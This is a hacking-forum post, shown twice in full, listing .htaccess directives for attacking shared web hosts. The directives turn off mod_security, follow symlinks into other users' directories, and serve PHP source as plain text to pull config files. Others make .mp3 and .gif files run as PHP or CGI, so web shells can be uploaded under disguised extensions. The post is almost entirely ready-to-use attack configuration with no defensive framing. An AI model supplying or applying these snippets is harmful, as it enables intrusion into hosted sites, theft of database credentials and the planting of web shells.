01-11-2016, 10:03 PM
__Bypass Symlink with .htaccess
i will write down for you all .htaccess possible.
Quote:
Options FollowSymLinks MultiViews Indexes ExecCGI
Quote:
Options Indexes FollowSymLinks DirectoryIndex ssssss.htm AddType txt .php
AddHandler txt .php
Quote:
Options All DirectoryIndex ssss.html addType txt .php AddHandler txt .php <IfModule mod_security.c> SecFilterEngine Off SecFilterScanPOST Off </IfModule>
Quote:
Options All ReadMeName 1.txt
Quote:
suPHP_ConfigPath /home/user/public_html/php.ini
Quote:
Options all
Quote:
Options +FollowSymLinks DirectoryIndex Sux.html Options +Indexes AddType text/plain .php AddHandler server-parsed .php AddType text/plain .html
Quote:
Options Indexes FollowSymLinks DirectoryIndex ssssss.htm AddType txt .php AddHandler txt .php <IfModule mod_autoindex.c> IndexOptions FancyIndexing IconsAreLinks SuppressHTMLPreamble </ ifModule> <IfModule mod_security.c> SecFilterEngine Off SecFilterScanPOST Off </IfModule>
This one is to make python work :
Quote:
AddType application/x-httpd-cgi .py AddHandler cgi-script .py AddHandler cgi-script .py
This one is to make perl work :
Quote:
AddType application/x-httpd-cgi .pl AddHandler cgi-script .pl AddHandler cgi-script .pl
This one is to enable Symlink if the function is disabled in the server :
Quote:
<Directory "/home"> *** Options -ExecCGI* *** AllowOverride AuthConfig Indexes Limit FileInfo Options=IncludesNOEXEC,Indexes,Includes,MultiViews ,SymLinksIfOwnerMatch,FollowSymLinks </ Directory>
This one is to retrieve users permissions :
Quote:
AddType text/plain .php Options +Indexes DirectoryIndex filename.html
Bypass Internal Server error :
Quote:
<IfModule mod_security.c> SecFilterEngine Off SecFilterScanPOST Off </IfModule>
Change php version:
Quote:
AddType application/x-httpd-php4 .php
Bypass Uploads Options and upload shell in another extension :
Quote:
<FilesMatch "^.*\.mp3"> SetHandler application/x-httpd-php </FilesMatch>
Retrieve Config with picture method :
Quote:
Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .gif
AddHandler cgi-script .gif
AddHandler cgi-script .gif
./Enj0y
i will write down for you all .htaccess possible.
Quote:
Options FollowSymLinks MultiViews Indexes ExecCGI
Quote:
Options Indexes FollowSymLinks DirectoryIndex ssssss.htm AddType txt .php
AddHandler txt .php
Quote:
Options All DirectoryIndex ssss.html addType txt .php AddHandler txt .php <IfModule mod_security.c> SecFilterEngine Off SecFilterScanPOST Off </IfModule>
Quote:
Options All ReadMeName 1.txt
Quote:
suPHP_ConfigPath /home/user/public_html/php.ini
Quote:
Options all
Quote:
Options +FollowSymLinks DirectoryIndex Sux.html Options +Indexes AddType text/plain .php AddHandler server-parsed .php AddType text/plain .html
Quote:
Options Indexes FollowSymLinks DirectoryIndex ssssss.htm AddType txt .php AddHandler txt .php <IfModule mod_autoindex.c> IndexOptions FancyIndexing IconsAreLinks SuppressHTMLPreamble </ ifModule> <IfModule mod_security.c> SecFilterEngine Off SecFilterScanPOST Off </IfModule>
This one is to make python work :
Quote:
AddType application/x-httpd-cgi .py AddHandler cgi-script .py AddHandler cgi-script .py
This one is to make perl work :
Quote:
AddType application/x-httpd-cgi .pl AddHandler cgi-script .pl AddHandler cgi-script .pl
This one is to enable Symlink if the function is disabled in the server :
Quote:
<Directory "/home"> *** Options -ExecCGI* *** AllowOverride AuthConfig Indexes Limit FileInfo Options=IncludesNOEXEC,Indexes,Includes,MultiViews ,SymLinksIfOwnerMatch,FollowSymLinks </ Directory>
This one is to retrieve users permissions :
Quote:
AddType text/plain .php Options +Indexes DirectoryIndex filename.html
Bypass Internal Server error :
Quote:
<IfModule mod_security.c> SecFilterEngine Off SecFilterScanPOST Off </IfModule>
Change php version:
Quote:
AddType application/x-httpd-php4 .php
Bypass Uploads Options and upload shell in another extension :
Quote:
<FilesMatch "^.*\.mp3"> SetHandler application/x-httpd-php </FilesMatch>
Retrieve Config with picture method :
Quote:
Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .gif
AddHandler cgi-script .gif
AddHandler cgi-script .gif
./Enj0y













